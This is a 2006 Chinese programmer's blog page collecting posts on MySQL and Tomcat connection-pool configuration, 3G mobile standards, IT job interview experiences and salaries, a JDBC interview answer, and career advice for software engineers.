4:		<include name="**/*Test.py"/>
5:	  </fileset>
6:  	</py-test>
7:  </target> 


																										

第一行是目标声明,这与其他的脚本相同。第 2 至第 6 行调用 py-test 任务。这部分代码将在“src”目录下查找所有以“Test.py”结尾的所有文件,并运行所有测试。 PYTHONPATH 设置为“src”,测试执行的当前工作目录就是当前目录(‘.’)。

运行目标的方法是先运行构建脚本,再选择执行“tests”目标。该目标将运行所有以“Test.py”结尾的测试用例,本例中仅有 FeadparserTest.py。

结束语
Eclipse 和 PyDev 插件的结合,以及 Apache Ant 与 Python Ant 任务一起使用,可以为 Python 开发提供完全集成的开发环境和构建/部署工具。这些工具尚在开发过程中,因此要经常查看是否有更新,如果您觉得特别希望看到某种特性,可以卷起袖管自力更生。

参考资料

关于作者
Ron Smith 是 RPS Technologies, Inc 的创始人。这是一家软件开发与软件顾问公司,总部位于芝加哥地区。Ron Smith 为客户提供基于 J2EE 的企业应用程序发方面的咨询,同时也在 RPS Technologies 内部开发软件产品。可以通过 ron.smith@rpstechnologies.net与 Ron 联系。
posted @ 2006-03-25 20:27 MEYE 阅读(645) | 评论 (0)编辑 收藏

http://python.cn         Python 中文社区

http://wiki.woodpecker.org.cn/ 啄木鸟社区,国内最活跃的 Python 人的聚集地

posted @ 2006-03-25 20:16 MEYE 阅读(339) | 评论 (0)编辑 收藏
Tomcat&mysql

SQL

        mysqlshow   数据库结构查询
        mysqlaccess 用户权限查询
        mysqladmin  超级用户管理工具
        mysqldump       dump工具
        isamchk         检查,优化,修补数据工具
        mysqlimport 从txt文件输入数据库
        mysql_install_db        系统数据库安装脚本
        mysqld          守护进程               
        safe_mysqld     启动脚本
       
        1.未在db表中列出的任意数据库,user表中的权限都为有效.
        可只在user表中设置某些superuser的权限,而在db表中不涉及.
        2.host只用来维护有效的server,缺省为空表,即为局域网内
        的所有机器.
        3.可用mysql -u root mysql命令修改权限.
        4.权限匹配时遵循的原则是:
                a. 表顺序: host -> db -> user;
                b. host和db域可有通配符%和_,表示所有和单个字符;
                c. 同一表中,也是 host->db->user域的顺序,无通配符优
                于有通配符;
                d. user域为空(''),表示匹配所有其他的用户;
                e. host可为机器名,localhost,IP,或通配符(如192.10.10.%),
                        但不允许用数字和点号开头(如123.321.1.edu.cn);
                f. 各表中的权限最后相"或";
        5.修改完之后,执行mysqladmin -u root reload更新. 
        
       
Tomcat配置
如果出现
Unable to find a javac compiler;
com.sun.tools.javac.Main is not on the classpath.
Perhaps JAVA_HOME does not point to the JDK
...
Tomcat ClassPath配置如下:
C:\Program Files\Apache Software Foundation\Tomcat 5.0\bin\bootstrap.jar;C:\Program Files\Java\jdk1.5.0\lib\tools.jar


MySQL配置
c:\mysql\bin>mysqld     //启动mysql的服务进程
c:\mysql\bin\mysql -uroot  //连接到mysql数据库
  mysql>update user set password=PASSWORD('<new_root_password>') where user='root';
  mysql>flush privileges;
  上面的操作是修改root用户的密码,'<new_root_password>'是你设置的密码。

  mysql>create database gamedb;     //创建gamedb库
  mysql>connect gamedb;          //连接到gamedb库
  mysql>source gamedb.sql;              //gamedb初始化建表
    mysql>GRANT SELECT, INSERT, UPDATE, DELETE, INDEX, ALTER,
                CREATE, DROP, REFERENCES, LOCK TABLES,
                CREATE TEMPORARY TABLES
                ON gamedb.* TO gamedb@localhost IDENTIFIED BY '<gamedb_password>';
  mysql>flush privileges;
  上面是建立gamedb用户,<gamedb_password>为gamedb用户的密码。

  mysql>exit;   //退出

 

下载MySQL JDBC
Connector/J 3.0.15-ga (MySQL.com提供的JDBC Driver)
下载地址:http://dev.mysql.com/downloads/connector/j/3.0.html


安装JDBC
mysql-connector-java-3.0.15-ga.zip解压后将mysql-connector-java-3.0.15-ga-bin.jar 复制到%TOMCAT_HOME%\common\lib下


配置Tomcat
假设:数据库:gamedb 用户名:gamedb 密码:gamedb

第一步: http://127.0.0.1:8080,进入tomcat页,用tomcat的 Tomcat Administration--->Resources--->Data Sources页面添加,参数如下:

JNDI Name:         jdbc/mysql
Data Source URL:   jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&useUnicode=true&characterEncoding=GB2312
JDBC Driver Class: com.mysql.jdbc.Driver
User Name:         gamedb
Password:          gamedb
Max. Active Connections: 4
Max. Idle Connections:   2
Max. Wait for Connection:5000
Validation Query ://不添


第二步: 试页内加入代码你自己在mysql里建个表检单测试一下吧,我这里以ght_users表为例,在你的应用下做一个测试用的test.jsp,然后http访问这个jsp页,test.jsp代码如下

<%@ page contentType = "text/html; charset=gb2312" %>
<%@ page import = "java.sql.*" %>
<%@ page import = "javax.naming.*" %>
<%@ page import = "javax.sql.*" %>
<%
Context ctx=null;
DataSource ds=null;
Connection conn=null;
Statement stmt=null;
ResultSet rs=null;

try{
 ctx = new InitialContext();
 if( ctx == null )
  out.println("no context");
 ds = (DataSource) ctx.lookup("java:comp/env/jdbc/mysql");
 if( ds == null )
  out.println("no datasource");
 conn = ds.getConnection();
 stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,
  ResultSet.CONCUR_READ_ONLY);
 String strSql = " select * from ght_users";
 rs = stmt.executeQuery(strSql);
 while(rs.next()){
  out.println(rs.getString(1));
 }
}
catch(Exception ex){
 ex.printStackTrace();
 out.println(ex.toString());
}
finally{
 if( rs != null )
  rs.close();
 if( stmt != null )
  stmt.close();
 if( conn != null)
  conn.close();
 if( ctx != null )
  ctx.close();
}
%>

 

常见问题
Q:出现javax.naming.NameNotFoundException: Name jdbc is not bound in this Context
A: 在yourWebApp\WEB-INF\web.xml中增加
    <resource-ref>
        <description>jdbc/mysql</description>
        <res-ref-name>jdbc/mysql</res-ref-name>
        <res-type>javax.sql.DataSource</res-type>
        <res-auth>Container</res-auth>
    </resource-ref>

Q:出现org.apache.commons.dbcp.SQLNestedException: Cannot create JDBC driver of class '?' for onnect URL 'null',这是为什么?

A: 在%TOMCAT_HOME%\conf\Catalina\localhost下找到你的web应用对应的.xml文件,如test.xml,并在此文件的下添入代码:
<ResourceLink name="jdbc/mysql" global="jdbc/mysql" type="javax.sql.DataSourcer"/>

重启tomcat。
注意:

for tomcat-5.0.18
i use ROOT in tomcat as by web app i put the following entry in E:\jakarta-tomcat-5.0.18\conf\Catalina\localhost\ROOT.xml file
for tomcat-4.1.18
i use ROOT in tomcat as my webapp i put the following entry in E:\qrules\tomcat\jakarta-tomcat-4.1.18\conf\server.xml

<ResourceLink name="jdbc/quickstart" type="javax.sql.DataSource" global="jdbc/quickstart"/>

Web界面配DBCP时,生成的是服务器的全局JNDI资源,查看%TOMCAT_HOME%\conf\server.xml可以得知tomcat修改了server.xml,在<server>下的<GlobalNamingResources>下添入了一些数据后的server.xml:


<?xml version='1.0' encoding='utf-8'?>
<Server>
  <Listener className="org.apache.catalina.mbeans.ServerLifecycleListener"/>
  <Listener className="org.apache.catalina.mbeans.GlobalResourcesLifecycleListener"/>
  <GlobalNamingResources>
    <Environment name="simpleValue" type="java.lang.Integer" value="30"/>
    <Resource auth="Container" description="User database that can be updated and saved" name="UserDatabase" type="org.apache.catalina.UserDatabase"/>
    <Resource name="jdbc/mysql" type="javax.sql.DataSource"/>
    <ResourceParams name="UserDatabase">
      <parameter>
        <name>factory</name>
        <value>org.apache.catalina.users.MemoryUserDatabaseFactory</value>
      </parameter>
      <parameter>
        <name>pathname</name>
        <value>conf/tomcat-users.xml</value>
      </parameter>
    </ResourceParams>
    <ResourceParams name="jdbc/mysql">
      <parameter>
        <name>maxWait</name>
        <value>5000</value>
      </parameter>
      <parameter>
        <name>maxActive</name>
        <value>4</value>
      </parameter>
      <parameter>
        <name>password</name>
        <value>gamedb</value>
      </parameter>
      <parameter>
        <name>url</name>
        <value>jdbc:mysql://localhost:3306/gamedb?autoReconnect=true&amp;useUnicode=true&amp;characterEncoding=GB2312</value>
      </parameter>
      <parameter>
        <name>driverClassName</name>
        <value>com.mysql.jdbc.Driver</value>
      </parameter>
      <parameter>
        <name>maxIdle</name>
        <value>2</value>
      </parameter>
      <parameter>
        <name>username</name>
        <value>gamedb</value>
      </parameter>
   <parameter>
     <name>factory</name>
     <value>org.apache.commons.dbcp.BasicDataSourceFactory</value>
   </parameter>
    </ResourceParams>
  </GlobalNamingResources>
  <Service name="Catalina">
    <Connector acceptCount="100" connectionTimeout="20000" disableUploadTimeout="true" port="8080" redirectPort="8443" maxSpareThreads="75" maxThreads="150" minSpareThreads="25">
    </Connector>
    <Connector port="8009" protocol="AJP/1.3" protocolHandlerClassName="org.apache.jk.server.JkCoyoteHandler" redirectPort="8443">
    </Connector>
    <Engine defaultHost="localhost" name="Catalina">
      <Host appBase="webapps" name="localhost">
        <Logger className="org.apache.catalina.logger.FileLogger" prefix="localhost_log." suffix=".txt" timestamp="true"/>
      </Host>
      <Logger className="org.apache.catalina.logger.FileLogger" prefix="catalina_log." suffix=".txt" timestamp="true"/>
      <Realm className="org.apache.catalina.realm.UserDatabaseRealm"/>
    </Engine>
  </Service>
</Server>

 

Q:如何配制DBCP只应用于指定的web application呢?

A:tomcat 5.x以后将web application的从server.xml里分离了出来,放在了 %TOMCAT_HOME%\conf\Catalina\localhost下,如你的应用为test, 那么在这个目录下就会有一个相应的test.xml与之对应,如:

<?xml version='1.0' encoding='utf-8'?>
<Context displayName="Tomcat Test Application"
  docBase="C:/Program Files/Apache Software Foundation/Tomcat 5.5/server/webapps/test" path="/test" privileged="true" workDir="work\Catalina\localhost\test">
  ...
</Context>

 

Q:我如何解决中乱码问题?

A:在配制mysql的数据库url时我们加入了useUnicode=true&characterEncoding=GB2312参数,指定数据库编码方式为GB2312,其它还需要做的就是常用的一些方式,如指定 <%@ page contentType = "text/html; charset=gb2312" %>、使用filter等,这方面的资料很多,这里不再累述。

这里需要注意的是url中的“&“符号,如果手动在.xml内配制时,需将其转换为“&”

posted @ 2006-03-25 20:13 MEYE 阅读(549) | 评论 (0)编辑 收藏
什么是3G 

日期 2006-3-19 22:56:00

什么是3G

 
    3g是英文3rd generation的缩写,指第三代移动通信技术。比起第一代的模拟手机和目前大家所使用的第二代数字手机(包括现在的gsm和cdma),基于第三代移动通信技术基础上的手机,将和以前的手机有着天壤之别。3g手机是指将结合了无线通信与互联网等多媒体通信的新一代移动通信系统,它能够处理包括声音、图像、视频流等多种媒体形式,提供包括网页浏览、电话会议、电子商务等多种信息服务,而且更为安全可靠。在不同的区域内,3g手机提供了不同的数据传输速度,在室内、室外和行车的环境中能够分别支持至少2mbps (兆字节/每秒)、384kbps(千字节/每秒)以及144kbps的传输速度,而我们目前大多数人上互联网所使用还是只56kbps (千字节/每秒)的小“猫”。不言而喻,3g手机凭其与生俱来的高速传输率优势,庞大的信息容量使得它几乎具备了宽带互联网的一切特性,必将带给我们一个前所未有的移动互联空间。 
  目前在国际上3g技术标准分为3大流派:目前以欧洲厂商为代表的w-cdma标准,它的支持者主要包括包括欧美的爱立信、阿尔卡特、诺基亚、朗讯、北电,以及日本的ntt、富士通、夏普等厂商;以美国高通为首的 cdma2000标准,它的支持者主要有摩托罗拉、朗讯和后来加入的三星,韩国现在成为该标准的主导者;还有就是中国大唐电信提出的td-scdma标准,它的主要支持者包括大唐电信、中国普天、南方高科、华立、华为、联想、中兴、中国电子在内的本土厂商和西门子。
  3g是英文3rdgeneration的缩写,指第三代移动通信技术。相对第一代模拟制式手机(1g)和第二代gsm、tdma等数字手机(2g),第三代手机一般地讲,是指将无线通信与国际互联网等多媒体通信结合的新一代移动通信系统。它能够处理图像、音乐、视频流等多种媒体形式,提供包括网页浏览、电话会议、电子商务等多种信息服务。为了提供这种服务,无线网络必须能够支持不同的数据传输速度,也就是说在室内、室外和行车的环境中能够分别支持至少2mbps(兆字节/每秒??84kbps(千字节/每秒)以及144kbps的传输速度。

3g的技术标准

  国际电信联盟(itu)在2000年5月确定w?cdma、cdma2000和tds?cdma三大主流无线接口标准,写入3g技术指导性文件《2000年国际移动通讯计划》(简称imt?2000)。

w?cdma

  即wideba_ndcdma,也称为cdmadirectspread,意为宽频分码多重存取,其支持者主要是以gsm系统为主的欧洲厂商,日本公司也或多或少参与其中,包括欧美的爱立信、阿尔卡特、***、朗讯、北电,以及日本的ntt、富士通、夏普等厂商。这套系统能够架设在现有的gsm网络上,对于系统提供商而言可以较轻易地过渡,而gsm系统相当普及的亚洲对这套新技术的接受度预料会相当高。因此w?cdma具有先天的市场优势。

cdma2000

  cdma2000也称为cdmamulti?carrier,由美国高通北美公司为主导提出,摩托罗拉、lucent和后来加入的韩国***都有参与,韩国现在成为该标准的主导者。这套系统是从窄频cdmaone数字标准衍生出来的,可以从原有的cdmaone结构直接升级到3g,建设成本低廉。但目前使用cdma的地区只有日、韩和北美,所以cdma2000的支持者不如w?cdma多。不过cdma2000的研发技术却是目前各标准中进度最快的,许多3g手机已经率先面世。

td?scdma

  该标准是由中国大陆独自制定的3g标准,1999年6月29日,中国原邮电部电信科学技术研究院(大唐电信)向itu提出。该标准将智能无线、同步cdma和软件无线电等当今国际领先技术融于其中,在频谱利用率、对业务支持具有灵活性、频率灵活性及成本等方面的独特优势。另外,由于中国内的庞大的市场,该标准受到各大主要电信设备厂商的重视,全球一半以上的设备厂商都宣布可以支持td?scdma标准。

什么是2.5g

  目前已经进行商业应用的2.5g移动通信技术是从2g迈向3g的衔接性技术,由于3g是个相当浩大的工程,所牵扯的层面多且复杂,要从目前的2g迈向3g不可能一下就衔接得上,因此出现了介于2g和3g之间的2.5g。hscsd、wap、edge、蓝牙(bluetooth)、epoc等技术都是2.5g技术。

hscsd(高速电路交换数据服务)

  这是gsm网络的升级版本,hscsd(highspeedcircuitswitcheddata)能够透过多重时分同时进行传输,而不是只有单一时分而已,因此能够将传输速度大幅提升到平常的二至三倍。目前新加坡m1与新加坡电讯的移动电话都采用hscsd系统,其传输速度能够达到57.6kbps。

wap(无线应用通讯协议)

  wap(wirelessapplicationprotocol)是移动通信与互联网结合的第一阶段性产物。这项技术让使用者可以用手机之类的无线装置上网,透过小型屏幕遨游在各个网站之间。而这些网站也必须以wml(无线标记语言)编写,相当于国际互联网上的html(超文件标记语言)。

bluetooth(蓝牙)

  蓝牙是一种短距的无线通讯技术,电子装置彼此可以透过蓝牙而连接起来,传统的电线在这里就毫无用武之地了。透过芯片上的无线接收器,配有蓝牙技术的电子产品能够在十公尺的距离内彼此相通,传输速度可以达到每秒钟1兆字节。以往红外线接口的传输技术需要电子装置在视线之内的距离,而现在有了蓝牙技术,这样的麻烦也可以免除了。

3g何时到来

  日本移动通讯巨人nttdocomo已于10月1日开通全球第一个3g服务,该服务基于wcdma标准。

  目前,亚洲成为3g发展最快的地区,欧洲紧随其次,美国由于不太热心而在技术准备上远远落后。除了动作最快的日本和韩国,泰国、香港也已经发出3g牌照。台湾即将发放3g牌照,预计内地在年底前发出3g牌照,市场预期将发行两到三个牌照
posted @ 2006-03-25 18:40 MEYE 阅读(356) | 评论 (0)编辑 收藏
· TOMCAT5.5.16配置连接池   

看到那么多朋友为了配置TOMCAT的连接池而烦恼,我在这里就给大家说说怎么配置连接池吧(针对5。5。16,不过我想应该5。5。X版本的应该都差不多)。呵呵,废话不多说了,我们开始吧:)

1。   下载TOMCAT5。5。X的admin包,把里面的内容复制到TOMCAT的根目录下

2。  重新启动TOMCAT http://127.0.0.1:8080/admin 登陆进去,接着点Data Sources 在右上边下拉表单那里选择Create new data resource 。输入JNDI NAME:(比如我用的是jdbc/heart) 其他的跟一般的一样,该怎么填就怎么填好了。

3     SAVE   然后COMMIT CHANGES 。

到此为止,还没有结束哦,呵呵,剩下最关键的一步,进入你的TOMCAT/CONF/下打开SERVER。XML 你会发现里面有一段是刚才的操作而自动生成的东东,比如我刚才生成的是:

<Resource
      name="jdbc/heart"
      type="javax.sql.DataSource"
      password="heart"
      driverClassName="com.microsoft.jdbc.sqlserver.SQLServerDriver"
      maxIdle="20"
      maxWait="5000"
      username="heart"
      url="jdbc:microsoft:sqlserver://127.0.0.1:1433;DatabaseName=heart;user=heart;password=heart;"
      maxActive="100"/>
就是他啦!呵呵,复制他!接着打开同级目录下的context.xml,在</context>之前把他丢进去,保存关闭。重新启动你的TOMCAT。

到这里,配置就完成了哦,你就可以写一段代码来测试你的数据源是否配置好了,应该是没什么问题的,一步步按上边的来做哦,千万别粗心漏了一些细节的东东:)对了,为了防止低级错误出现,我在这里还是强调一下,记得之前要把驱动包丢到COMMON/LIB下哦,呵呵,祝愿你能成功:)

posted @ 2006-03-25 18:39 MEYE 阅读(425) | 评论 (0)编辑 收藏
某"面霸"疯狂应聘IT名企的经历
 发表于 2005-12-26 12:45:32

华为


  1)笔试 可以选择JAVAC++,我做的java,个人感觉考的很基础。
  其中一个编程题:用数组实现栈,并且当栈空间满时,栈空间增加一倍。
  2)面试:我面的是IT
  一面:技术面,40分钟,问的很细,UML,单点登录,J2EE
  二面:综合面,20分钟 一个项目完整的经历
  三面:HR,职业规划,优势与劣势,期望工资与工作地点。5.8K
  四面:老总面,最郁闷的,看了简历的封面,说专业不适合去华为工作。无语,也不想去了,因为待遇说实话也不怎么样,并且就凭专业的名称淘汰


  腾讯-移动kjava开发


  腾讯
  待遇:硕士年薪10万,本科年薪7
  1)笔试: C++,基础题目与程序员考试水平相当。
  附加题:
  1.10亿个浮点数,从中找出1万个最大的数。写一个高性能的算法
  2.Unix后台进程的实现
  3.MFC的多文档模板的加载
  4.数据库SQL语句查询
  2)面试
  技术1面:感觉腾讯的面试安排不是很合理,进去之后有12个面试官,随便找一个面。面我的是个铁面判官,问了几个问题,DirectX技术有没有接触过? 2D,3D引擎原理?我一头雾水,跟他没什么好谈的,感觉,彼此都不感兴趣。然后他就问了一个很基础的问题,写一个程序:从双向循环链表中删除一个节点。这个当然没有什么问题。不过出来后感觉就没戏。

  无缘技术2面与HR


  广东北电-研发


  广东北电
  加拿大著名电信设备制造商北电网络公司始建于一个世纪以前,在通讯发展进步历程中始终处于领袖地位,广东北电通信设备有限公司成立于19953月,是北电在华投资的核心公司之一。公司网址是http://www.gdnt.com.cn/

  待遇:硕士7K,本科5.5K,很不错。一年13个月工资
  1)笔试C++:考的比较难,一共4题,1个小时完成:
  1.英译汉  
  做完花了15分钟,英语就一个字!
  2.中序遍历一个二叉树,不能用递归
  地球上的人都知道要压栈,但平时根本就是在用递归解决。当时现场比划,花了近30分钟才勉强写到试卷上,汗颜!如果后序更麻烦。
  3.双向冒泡程序改错--3个错误
  看来看去,只发现了2个错误。
  4.回答程序所完成的功能-共5
  题目有3页纸,都还没来的急看完,更别说写字了,收卷!

  试卷一共13页纸,出来晕倒一大片!真不知道他在考什么。

  以下是中大考试题目,要简单多了:
  1.IS95标准,关于CDMA发展。汉译英
  2.编程题
  输入年月日格式yyyymmdd,判断是否是周末,只要求对2005年判断。
  3.分析题:有关移动通信编码,位图什么的,好像是输入一串数据,根据题目比编码方法,写出编码后结果,好像没多少人会做

  2) 面试
  1.多进程与多线程的区别与通信
  2.测试方法
  3.C++中的多态在C中如何实现

用友笔试


  一般能力测试+开放试题
  1)按类中的某个属性对类数组排序,尽量用JDK的类实现
  2)找出两个字符串数组中的相同元素
  3)不同平台下程序的实现问题

  为什么出了面试通知后,迟迟没有通知面试?靠!


  神州数码-开发工程师


  神州数码
  待遇:税前5K
  1)笔试:综合能力测试(公务员题目)+专业测试(J2EE/C++/数据库)
  感觉专业测试很easy,但是考的非常全,涉及范围:struts, spring ,eclipse, html, ejb等等;


  2)面试:没有问技术问题
  1面:HR面,半结构化测试,主要是性格测试
  2面:业务面,没有问任何技术问题,就是职业规划和情景分析


  立信-从兴电子


  立信-从兴电子
  笔试:C++,考的n基础,但是不是很好做
  1) C++中引用编译过的C代码为什么要用“extern c”
  2) 类与struct的区别
  3)数据库建表的SQL语句,注意主键与外键是如何建立的
  4)文件的外排序,考虑到CPU,内存,硬盘空间等。
  面试:
  一面:技术+HR,很容易应付
  二面:通知是综合面,还没有去面,应该是谈价钱


  招商银行研发中心


  笔试:IQ测试+专业测试(c++,java,delphi,html都有),考的都是很基础的,但是不容易对付
  面试:在笔试的过程中进行,就问了一下项目,工作流,专业课程与成绩,感觉很不正归,因为连HR的面试都没有


  金蝶


  笔试:综合能力测试(公务员题目)+专业测试(java+数据库+UML
  1.SWING中组件布局有哪几种方式
  2.写实例代码说明多态的实现
  3.数据库SQL语句
  4.基础题目考的很全,国际化,数据库索引,xml shema, ejb, 数据结构等等
  面试: 历史上时间最短的面试,加起来估计10分钟,估计被B4
  1HR: 就问了专业,成绩,期望工作城市。出来后看到给我评价是一般,真不知道是怎么判断的
  2)技术面:问其中一个项目,UML用在项目的哪些方面,有没有用到数据库索引,数据库实体建模是用什么工具


  群硕


  在上海,做外包的。开出的待遇不高,拒绝
  笔试:英文,不难做,JAVA基础知识
  面试:
  一面:技术面,MVC架构,存储过程,JDBCJMXJMS的区别,Servlet的运行过程与线程安全性,.net自动装箱与拆箱是否可逆,ADOADO.NET的区别
  二面:HR面,职业规划,期望工资,双选的准则


  康拓普电力自动化

  康拓普
  待遇:税前5K
  笔试:IQ测试+专业测试(java):
  考的非常基础: 人民币数字转化为文字,如1235, 输出一千二百三十五元
  面试:项目和一些基础
  签约, 一切来的都很自然也很偶然

posted @ 2006-03-25 18:28 MEYE 阅读(383) | 评论 (0)编辑 收藏
2005年全国各大IT公司薪酬
发表于 2005-12-26 12:45:00

以下内容仅供参考,如有偏差请一笑置之。

  日本SONY(索尼) 1/,仅要研究生

  韩国三星电子中国总部 25/

  法国索姆软件,年薪20/,赴欧工作

  美国Cisco(思科)15000/,仅要研究生

  美国INTEL(英特尔) 13000/

  美国IBM 5000左右/

  德国西门子 8000/

  西藏联通 8100(必须满8),不过高原反应太艰苦

  青海联通 月薪是50007000,而且可以只签一年

  深圳联通 3000-4000/月 其余偏远地方略高

  深圳记忆科技 本科10-15/,硕士15-20/

  上海网道信息技术() 7000-8000/,1000/月伙食补贴,1000/月房租

  中国电信 7-10/,另交通补助400/,住房补贴1000/

  美AVANT 6-8/

  东方通信 6-8/(仅要研究生)

  北京联想 6-7.5/

  深大通信 6/

  福州康顺光通讯 5-10/

  美国FIBERON公司,10/,6/

  深圳华为 5480/,400多人

  青岛海尔 5-6/

  ut斯达康 本5000/月,研6000-8000/

  MOTOROLA(苏州)5000/

  深圳中兴 5000/,100多人

  上海洪一,维景科技公司(台资) 5000/

  北京华虹NEC 4000-5000/

  深圳黎明网络 本科起薪4000/,硕士6500/,8500/

  广东北电 4000-5000/

  上海贝尔 40000/ + 15000(年终奖)

  成都迈普 50000/年(研发)

  中国建设银行新疆分行 4.5/

  北京大唐中央研究院 实习期4000/月,转正5000/

  大唐分公司 3000/,转正4000/

  北大方正奥德 3500-4000/,21

  青岛海信 40000/,两年后6-7/

  中华通信 博士生:5000元;硕士生:4000元;本科生:3000

  烟台东方电子 3000/ ,转正4000/.年终奖平均1.5, 婚后分一套70平米21厅房子

  广东金鹏 3000-4000/

  深圳康佳 3000-4000/

  TCL 3800/(深圳),2000-3000/(惠州)

  深圳奥林巴斯() 3000/,一年135天假期,1200/月房租补贴补

  武汉邮科院 本科3000/月,研究生5000/

  福建实达 30000/

  上海计算机研究所 2500-4000/

  深圳飞通 本3000/月,研5000/

  中讯 3000/

  北京网通 3000/

  宁波雅戈尔 3000/

  广州华南资讯本科试用期2500/,60000/

  宁波波导 2.5-5/

  成都29 2.5-3/

  青岛朗讯(合资) 25000-30000/

  上海电真空研究所2000/,转正3000/

  鼗岛海湾科技 本科2.5/.5.5/

  和记黄埔(香港李嘉城实业,重庆,北京) 2000-4000/月,硕4000-6000/

  中国电信广州研究中心 2-10/

  西安电子工程研究所 2000-3000/

  中国工程物理研究院(四川绵阳) 2.5/年 军队待遇,本科定副连级

  南京自动化研究所 2000/

  36所 本2000 -4000/,3000-6000,5000-8000/

  AMD 2000/

  北京中国航空航天部二院23 2000/

  厦门厦新 1800-1900/

  广东美的 1800-2400/

  苏州明基电脑( 台资) 1600-2000/

  四川长虹 1500--2000/

  深圳天马微电子 1500/月,转正3-4/

  合肥英图微电子(合资) 1500/, 2000/月 (转正)

  长城电脑 1500/

  成都国腾通信 1200/,研发人员2000-4000/

  成都TOP 1500/

  合肥三十八所 1500/

  海军南海舰队湛江基地1100+(300--700)+福利

  湘计算机 1000/月,转正2000/月 

 

 
posted @ 2006-03-25 18:17 MEYE 阅读(348) | 评论 (0)编辑 收藏
     摘要: 各种电子教程下载网址超级大集合 ==========Photoshop教学站点========== http://www.iwebcreator.net/http://www.photoshopcn.com...  阅读全文
posted @ 2006-03-25 18:13 MEYE 阅读(2441) | 评论 (1)编辑 收藏
     摘要: 各种电子教程下载网址超级大集合 ==========Photoshop教学站点========== http://www.iwebcreator.net/http://www.photoshopcn.com...  阅读全文
posted @ 2006-03-25 18:13 MEYE 阅读(1273) | 评论 (0)编辑 收藏
java程序员面试必答题--数据库
 
这道题我在好多个公司都考了,现在总结下来
 
写一种数据库操作
 
最通用的答案是使用数据源的
 
1、完整的,基于struts框架的
 
//取得当前模型 struts
ServletContext context = getServlet().getServletContext();

//指定配置文件       
ModuleConfig moduleConfig = ModuleUtils.getInstance().getModuleConfig(request, context);
 
//取得配置文件中指定的数据源
DataSource dataSource = (DataSource) context.getAttribute(key + moduleConfig.getPrefix());
 
//取得数据库连接
Connection conn = dataSource.getConnection();
 
//准备sql操作
ps = conn.prepareStatement(sql);
 
//sql问中参数绑定
statement.setString(绑定参数位置, 所需绑定的参数);
 
//执行sql
rs = ps.executeQuery();
 
//结果rs保存
  while (rs.next()) {
   rs.getInt("aa");
   rs.getString("bb");
  }
 
2、简单的
//取得数据库连接
Connection conn = dataSource.getConnection();
 
//准备sql操作
ps = conn.prepareStatement(sql);
 
//执行sql
rs = ps.executeQuery();
 
//结果rs保存
  while (rs.next()) {
   rs.getInt("aa");
   rs.getString("bb");
  }
posted @ 2006-03-25 18:11 MEYE 阅读(388) | 评论 (0)编辑 收藏
软件工程师的务实职业生涯规划
   [1]
  好好规划自己的路,不要跟着感觉走!根据个人的理想决策安排,绝大部分人并不指望成为什么院士或教授,而是希望活得滋润一些,爽一些。那么,就需要慎重安排自己的轨迹。从哪个行业入手,逐渐对该行业深入了解,不要频繁跳槽,特别是不要为了一点工资而转移阵地,从长远看,这点钱根本不算什么,当你对一个行业有那么几年的体会,以后钱根本不是问题。频繁地动荡不是上策,最后你对哪个行业都没有摸透,永远是新手!
  
  [2]
  可以做技术,切不可沉湎于技术。千万不可一门心思钻研技术!给自己很大压力,如果你的心思全部放在这上面,那么注定你将成为孔乙己一类的人物!适可而止为之,因为技术只不过是你今后前途的支柱之一,而且还不是最大的支柱,除非你只愿意到老还是个工程师!
  
  [3]
  不要去做技术高手,只去做综合素质高手!在企业里混,我们时常瞧不起某人,说他“什么都不懂,凭啥拿那么多钱,凭啥升官!”这是普遍的典型的工程师的迂腐之言。8051很牛吗?人家能上去必然有他的本事,而且是你没有的本事。你想想,老板搞经营那么多年,难道见识不如你这个新兵?人家或许善于管理,善于领会老板意图,善于部门协调等等。因此务必培养自己多方面的能力,包括管理,亲和力,察言观色能力,攻关能力等,要成为综合素质的高手,则前途无量,否则只能躲在角落看示波器!技术以外的技能才是更重要的本事!!从古到今,美国日本,一律如此!
  
  [4]
  多交社会三教九流的朋友!不要只和工程师交往,认为有共同语言,其实更重要的是和其他类人物交往,如果你希望有朝一日当老板或高层管理,那么你整日面对的就是这些人。了解他们的经历,思维习惯,爱好,学习他们处理问题的模式,了解社会各个角落的现象和问题,这是以后发展的巨大的本钱,没有这些以后就会笨手笨脚,跌跌撞撞,遇到重重困难,交不少学费,成功的概率大大降低!
  
  [5]
  知识涉猎不一定专,但一定要广!多看看其他方面的书,金融,财会,进出口,税务,法律等等,为以后做一些积累,以后的用处会更大!会少交许多学费!!
  
  [6]
  抓住时机向技术管理或市场销售方面的转变!要想有前途就不能一直搞开发,适当时候要转变为管理或销售,前途会更大,以前搞技术也没有白搞,以后还用得着。搞管理可以培养自己的领导能力,搞销售可以培养自己的市场概念和思维,同时为自己以后发展积累庞大的人脉!应该说这才是前途的真正支柱!!!
  
  [7]
  逐渐克服自己的心里弱点和性格缺陷!多疑,敏感,天真(贬义,并不可爱),犹豫不决,胆怯,多虑,脸皮太薄,心不够黑,教条式思维。。。这些工程师普遍存在的性格弱点必须改变!很难吗?只在床上想一想当然不可能,去帮朋友守一个月地摊,包准有效果,去实践,而不要只想!不克服这些缺点,一切不可能,甚至连项目经理都当不好--尽管你可能技术不错!
  
  [8]
  工作的同时要为以后做准备!建立自己的工作环境!及早为自己配置一个工作环境,装备电脑,示波器(可以买个二手的),仿真器,编程器等,业余可以接点活,一方面接触市场,培养市场感觉,同时也积累资金,更重要的是准备自己的产品,咱搞技术的没有钱,只有技术,技术的代表不是学历和证书,而是产品,拿出象样的产品,就可技术转让或与人合作搞企业!先把东西准备好,等待机会,否则,有了机会也抓不住!
  
  [9]
  要学会善于推销自己!不仅要能干,还要能说,能写,善于利用一切机会推销自己,树立自己的品牌形象,很必要!要创造条件让别人了解自己,不然老板怎么知道你能干?外面的投资人怎么相信你?提早把自己推销出去,机会自然会来找你!搞个个人主页是个好注意!!特别是培养自己在行业的名气,有了名气,高薪机会自不在话下,更重要的是有合作的机会...
  
  [10]
  该出手时便出手!永远不可能有100%把握!!!条件差不多就要大胆去干,去闯出自己的事业,不要犹豫,不要彷徨,干了不一定成功,但至少为下一次冲击积累了经验,不干永远没出息,而且要干成必然要经历失败。不经历风雨,怎么见彩虹,没有人能随随便便成功!
  
  这篇文章是我偶然在论坛上看到的,看后觉得挺有感触的。朋友们可以参考下,我一直认为做人一定要做个多面手,不是说你作技术就不能做别的,其实多学点对自己是没有坏处的,还有平时多注意积累其他方面的知识,这样在自己不做技术的时候还有别的可做。做个有准备的人岂不是更好!
